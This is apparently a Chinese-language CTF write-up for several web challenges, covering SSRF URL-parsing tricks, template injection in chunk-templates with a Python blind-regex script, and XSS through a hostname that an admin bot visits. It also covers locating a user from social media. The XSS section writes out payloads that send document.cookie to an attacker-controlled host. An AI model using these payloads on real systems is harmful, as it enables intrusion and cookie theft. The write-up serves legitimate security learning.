上周末打了密歇根大学举办的一个CTF比赛,做了其中的Web题,发现考点比较新颖和有趣,于是写篇完整的探索记录
一道纯靠burp的题目,这里不再多提 就是抓包然后不断看响应包里面的要求
<p>Found. Redirecting to <a href="/flag?count=1">/flag?count=1</a></p>
访问/flag?count=1
<p>Found. Redirecting to <a href="/?count=7">/?count=7</a></p>
转往?count=7即可获得flag
wsc{c00k1e5_yum!}
文件结构
发现public.js里面的路由标识
可以看到这里面关键的点在于$path可控 我们先访问下题目中给的路由
可以看到我们拼接进来的端口1001 继续尝试用这个ssrf位点访问一下private2.js成功获取到flag 但是显而易见这题并不只有这种解法
注意拼接处的代码
const url = `http://localhost:${private1Port}${path}` const parsedUrl = new URL(url)
我们可以在path里使用一个@ 这样@前面字符串会被当作用户名 之后再进行访问指定端口路由即可
最后payload
@localhost:10011/flag
可以看到在这里面访问get路由即可获取到flag 比较有意思的点是private2点端口比我们可控的端口多1 所以我们构造注入1/flag 即可成功访问private2里面的flag路由
https://wsc-2022-web-1-bvel4oasra-uc.a.run.app/ssrf?path=1/flag
成功获取到flag 但是显而易见这题并不只有这种解法
注意拼接处的代码
const url = `http://localhost:${private1Port}${path}` const parsedUrl = new URL(url)
我们可以在path里使用一个@ 这样@前面字符串会被当作用户名 之后再进行访问指定端口路由即可
最后payload
@localhost:10011/flag
这道题做了一些基础的防护,但很简单 只是检测我们输入第一个字符不能为数字
当然可以用我刚才提到的第二种解法
但如果你看过orange的ppt就会知道
可以使用%0D%0A换行注入我们的1/flag即可成功拿到flag
最后payload
https://wsc-2022-web-4-bvel4oasra-uc.a.run.app/ssrf?path=%0d%0a1/flag
Get flag wsc{url_synt4x_f0r_th3_w1n_hq32pl}
这道题是我觉得最有趣的一道题
在这里可以看到花括号包裹起来的数据我们可控 可以猜测可能是ssti
但这里用的模板引擎比较新颖 叫chunk-templates
继续往下看渲染点
他把flag用set存储起来了,现在我们需要的就是通过{$flag}给他渲染出来
但注意这里的preventRecursiveTags函数替换掉了 $符号,我们思路就是代替他 直接打断点debug可以看到
parsetag这里除了$ 还可以用~ 所以我们构造个{~flag}来获取到flag
很有趣是吧,但其实这题最有意思的点是可探索性很高,如果你以前接触过 twig模板
你就会发现它最强大的地方是他的过滤器
我们可以用url编码把我们的符号进行编码 然后再构造一个标签
{.{%24flag%7d|urldecode()}
https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/submit?name=%7B.%7B%2524flag%257d%7Curldecode()%7D
可以看到能够成功带出flag
正是因为他的构造器多样 我们的思维还可以发散
如果你记得今年RealWorld的 RWDN 你应该想起来我们是如何通过.htaccess来读取任意文件的?
可以通过if语法盲注来匹配 而你只要仔细翻了chunk-templates的文档
你会发现他也刚好有这种语法
import re import requests as req from string import ascii_letters, digits, printable d = 0 if d: url = 'https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/' proxies = { "http" : 'http://127.0.0.1:8080', "https" : 'https://127.0.0.1:8080' } else: url = 'https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/' proxies = {} canary = 'test' charset = printable[:-6].replace(",", "").replace("/", "") flag = "wsc" while not flag.endswith("}"): for _ in charset: tmp = flag + _ payload = f'{{% if(flag=~/^{re.escape(tmp)}/) %}}{canary}{{% endif %}}' if d : print(payload) res = req.get(url+f'submit?name={req.utils.quote(payload)}', proxies=proxies) if "test" in res.text: flag += _ print(flag.replace("\\", "")) break
通过正则匹配进行盲注 也是获得flag的好方法
又是一道有趣的题目,不像其他ctf考了很多bypass csp的技巧
因为代码文件单一我直接在这里贴出来
const express = require('express') const puppeteer = require('puppeteer') const escape = require('escape-html') const app = express() const port = 3000 app.use(express.static(__dirname + '/webapp')) const visitUrl = async (url, cookieDomain) => { let browser = await puppeteer.launch({ headless: true, pipe: true, dumpio: true, ignoreHTTPSErrors: true, args: [ '--incognito', '--no-sandbox', '--disable-gpu', '--disable-software-rasterizer', '--disable-dev-shm-usage', ] }) try { const ctx = await browser.createIncognitoBrowserContext() const page = await ctx.newPage() try { await page.setCookie({ name: 'flag', value: process.env.FLAG, domain: cookieDomain, httpOnly: false, samesite: 'strict' }) await page.goto(url, { timeout: 6000, waitUntil: 'networkidle2' }) } finally { await page.close() await ctx.close() } } finally { browser.close() } } app.get('/visit', async (req, res) => { const url = req.query.url console.log('received url: ', url) let parsedURL try { parsedURL = new URL(url) } catch (e) { res.send(escape(e.message)) return } if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') { res.send('Please provide a URL with the http or https protocol.') return } if (parsedURL.hostname !== req.hostname) { res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`) return } try { console.log('visiting url: ', url) await visitUrl(url, req.hostname) res.send('Our admin bot has visited your URL!') } catch (e) { console.log('error visiting: ', url, ', ', e.message) res.send('Error visiting your URL: ' + escape(e.message)) } finally { console.log('done visiting url: ', url) } }) app.listen(port, async () => { console.log(`Listening on ${port}`) })
关键问题点
if (parsedURL.hostname !== req.hostname) { res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`) return }
这里 可以看到$parsedURL.hostname是没经过任何处理的
我们可以尝试在这里加一些标签
https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://%3Ch1%3Etest%3C/h1%3E
所以我们就要在这里面想办法插入xss 但是注意hostname的rfc标准
1.不能有空格 2.大小写会被统一转换 3.? # @ / \
这些字符会破坏Hostname
其实payload有很多 你可以去terjanq的 博客去找 其实关键点在于bypass空格
翻阅了很多资料发现unicode字符可以代替
<svg%0Conload=alert()>
所以构造个这样类似的poc就可以
但是常规的我们的设想我们要通过一些windows.href类似的跳转拼接cookie 类似这样
window.location='https://attacker.com/?'+document.cookie
我一开始想到了一些编码形式比如base64 但是rfc标准大小写会被统一转换
所以我就想找一些类似切片的东西
location.hash.slice(1)
后来我队友发现这个可以取#之后的数据 拿我们再用eval来进行执行 ,在#后拼接,也就是在hostname外拼接我们的跳转payload即可
最后payload:
https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://<svg%0Conload=eval(location.hash.slice(1))>/#window.location='https://your-vps/?cookie='+document.cookie
最后成功get flag
题目描述
Challenge Description: User Vividpineconepig claims on to live next to a street that's above some train tracks. Where are they? Maybe finding their social media could help. We’ll give you a flag for tracking them down. Give us this elevated STREETNAME preceding the St/Rd/Ave/Lane to prove it.
Format: wsc{STREETNAME}
这种社工题蛮有意思的
Vividpineconepig 是用户的名称。描述告诉我们,我们可能想要找到他们的社交媒体帐户。使用 Sherlock 之类的工具
在ins找到信息
然后就是获得这张图片分析 一开始我想直接使用google map之类的来寻找位置 发现根本没有下手点
这里我自己给自己挖了个坑 得知主办方是密歇根大学 我直接从这里入手,直到一位国外队友告诉我这种高速公路标志右边是蒙大拿州独有的,好吧 然后我们还有右边一个hint mile 280的标记
于是翻google地图 范围很小了
得到镇的名字是 Shelby, MT
通过远处的高架桥和火车轨道的推测
猜测是这个Oilfield街道
wsc{OILFIELD}